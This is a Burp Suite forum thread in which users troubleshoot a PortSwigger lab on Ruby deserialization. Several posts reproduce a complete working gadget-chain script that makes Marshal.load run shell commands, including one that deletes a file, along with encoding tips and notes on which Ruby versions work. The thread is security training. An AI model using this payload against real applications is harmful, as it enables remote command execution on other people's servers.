Burp Suite User Forum

Create new post

Exploiting Ruby deserialization using a documented gadget chain

Rohit | Last updated: Apr 07, 2022 09:35AM UTC

Hi I am unable to solve this lab. *I created the base64 encoded payload using the exploit code in this site. https://www.elttam.com/blog/ruby-deserialization/ *I copied the code, changed the required parameters and generated the base64 encoded payload and then URL coded it, passed via the cookie and I am still getting the below error /usr/lib/ruby/2.7.0/rubygems/stub_specification.rb:116:in `initialize': No such file or directory @ rb_sysopen - |rm /home/carlos/morale.txt (Errno::ENOENT) from /usr/lib/ruby/2.7.0/rubygems/stub_specification.rb:116:in `open' *I also tried generating the payload using the below code # Autoload the required classes Gem::SpecFetcher Gem::Installer # prevent the payload from running when we Marshal.dump it module Gem class Requirement def marshal_dump [@requirements] end end end wa1 = Net::WriteAdapter.new(Kernel, :system) rs = Gem::RequestSet.allocate rs.instance_variable_set('@sets', wa1) rs.instance_variable_set('@git_set', "id") wa2 = Net::WriteAdapter.new(rs, :resolve) i = Gem::Package::TarReader::Entry.allocate i.instance_variable_set('@read', 0) i.instance_variable_set('@header', "aaa") n = Net::BufferedIO.allocate n.instance_variable_set('@io', i) n.instance_variable_set('@debug_output', wa2) t = Gem::Package::TarReader.allocate t.instance_variable_set('@io', n) r = Gem::Requirement.allocate r.instance_variable_set('@requirements', t) payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r]) puts payload.inspect puts Marshal.load(payload) can someone please help me as to what code I should use to generate the payload?

Ben, PortSwigger Agent | Last updated: Apr 07, 2022 10:48AM UTC

Hi Rohit, Step 3 of the solution details some changes that are required to the script in order to ensure that the payload is in the correct format ("Replace the final two lines with puts Base64.encode64(payload). This ensures that the payload is output in the correct format for you to use for the lab") - it does not look like you have carried this out. Are you able to try this? e.g the final part of the script should look like: payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r]) puts Base64.encode64(payload) puts Base64.encode64(payload) I normally use the site https://www.onlinegdb.com/online_ruby_compiler to run the Ruby code and obtain the output.

sapphire | Last updated: Apr 17, 2022 01:45PM UTC

It's still not working...

Uthman, PortSwigger Agent | Last updated: Apr 18, 2022 11:24AM UTC

Hi Rohit,

You are close! Hint: Look at the second bullet point in step 3 of the solution :)

Are you URL encoding the entire payload? Or just the key characters?

Tan | Last updated: Jun 23, 2022 01:29PM UTC

Hi! I have solved the lab successfully with the latest script at https://www.elttam.com/blog/ruby-deserialization/ Long ago, I had solved it with an older script and the web server at that time returned error on ruby 2.5.0. The current lab web server returns error on ruby 2.7.0. I tried using the older script on the current lab, and it gives error "No such file or directory @ rb_sysopen - |rm /home/carlos/morale.txt" In short, use the right script and the right ruby version. You can docker pull ruby:2.7.0 container and run the latest script via irb command. Latest script: # Autoload the required classes Gem::SpecFetcher Gem::Installer # prevent the payload from running when we Marshal.dump it module Gem class Requirement def marshal_dump [@requirements] end end end wa1 = Net::WriteAdapter.new(Kernel, :system) rs = Gem::RequestSet.allocate rs.instance_variable_set('@sets', wa1) rs.instance_variable_set('@git_set', "rm /home/carlos/morale.txt") wa2 = Net::WriteAdapter.new(rs, :resolve) i = Gem::Package::TarReader::Entry.allocate i.instance_variable_set('@read', 0) i.instance_variable_set('@header', "aaa") n = Net::BufferedIO.allocate n.instance_variable_set('@io', i) n.instance_variable_set('@debug_output', wa2) t = Gem::Package::TarReader.allocate t.instance_variable_set('@io', n) r = Gem::Requirement.allocate r.instance_variable_set('@requirements', t) payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r]) puts payload.inspect puts Marshal.load(payload) puts "Payload (Base64 encoded):" puts Base64.encode64(payload) The base64 and url encoded answer should be something like: BAhbCG ... ... b2x2ZQ==

Florian | Last updated: Aug 24, 2023 10:53AM UTC

Generating the payload seems no longer to be possible with an updated system (Ruby 3.1 or newer). When trying to compile the script with Ruby 3.1, I got an error message complaining about the line "wa1 = Net::WriteAdapter.new(Kernel, :system)". Obviously, the API has changed and the new() method now only takes one argument. I finally succeeded by spinning up a small docker container based on ruby 3.0.1. Maybe you could add this (or the link to https://www.onlinegdb.com/online_ruby_compiler) to the lab's hints? On a side note: I just tried out the web compiler, it seemed to work but didn't know Base64... Also, I don't know on which ruby version the compiler is built, so it might stop working when it is updated to a patched version?

Matthijs | Last updated: Aug 24, 2023 07:13PM UTC

@Florian: require "base64" before calling puts Base64.encode64(payload)

Ben, PortSwigger Agent | Last updated: Aug 25, 2023 10:49AM UTC

Hi Florian, Does this work for you as written if you use the following online compiler: https://onecompiler.com/ruby

Dobo | Last updated: Oct 26, 2023 10:37PM UTC

Worked on https://onecompiler.com/ruby not working anymore on https://www.onlinegdb.com/online_ruby_compiler

You must be an existing, logged-in customer to reply to a thread. Please email us for additional support.